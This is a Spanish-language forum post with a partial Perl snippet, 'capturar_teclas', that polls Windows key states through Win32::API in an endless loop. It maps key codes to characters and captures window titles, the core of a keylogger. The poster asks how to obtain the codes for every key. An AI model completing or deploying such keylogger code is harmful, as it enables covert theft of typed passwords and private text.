Using perl Syntax Highlighting
- sub capturar_teclas {
- Win32::API->Import( "user32", "GetKeyState", "I", "I" );
- $|++;
- while (true) {
- my %numeros_izquierda = (
- 48 => "0",
- 49 => "1",
- 50 => "2",
- 51 => "3",
- 52 => "4",
- 53 => "5",
- 54 => "6",
- 55 => "7",
- 56 => "8",
- 57 => "9"
- );
- my %numeros_derecha = (
- 96 => "0",
- 97 => "1",
- 98 => "2",
- 99 => "3",
- 100 => "4",
- 101 => "5",
- 102 => "6",
- 103 => "7",
- 104 => "8",
- 105 => "9"
- );
- %signos_shift = (
- 48 => ")",
- 49 => "!",
- 50 => "@",
- 51 => "#",
- 52 => "\$", ##
- 53 => "%",
- 54 => "¨",
- 55 => "&",
- 56 => "*",
- 57 => "(",
- 187 => "+",
- 188 => "<",
- 189 => "_",
- 190 => ">",
- 191 => ":",
- 192 => "\"", ##
- 193 => "?",
- 291 => "/\'",
- 220 => "}",
- 221 => "{",
- 222 => "^",
- 226 => "|"
- );
- my %teclas_raras = (
- 1 => "[click mouse]",
- 8 => "<br>[backspace]<br>",
- 13 => "<br>[enter]<br>", #ENTER
- "16" => "Shift",
- 32 => "<br>[space]<br>",
- 46 => "<br>[suprimir]<br>",
- 187 => "=",
- 188 => ",",
- 189 => "-",
- 190 => ".",
- 191 => ";",
- 192 => "\'",
- 193 => "/",
- 219 => "\\\'",
- 220 => "]",
- 221 => "[",
- 222 => "~",
- 226 => "\/"
- );
- capturar_ventanas();
- unless ( GetKeyState(20) ne 0 ) {
- $mayus = 32;
- }
- else {
- $mayus = 0;
- }
Coloreado en 0.005 segundos, usando GeSHi 1.0.8.4
Lo que necesito saber es cómo consigo los números de todas las teclas de todo el teclado ya sea con shift o teclas normales. Me refiero a que "48" significa "0" y así. ¿ Alguien me podría orientar ?
, al costado , al lado de la tecla enter de la derecha.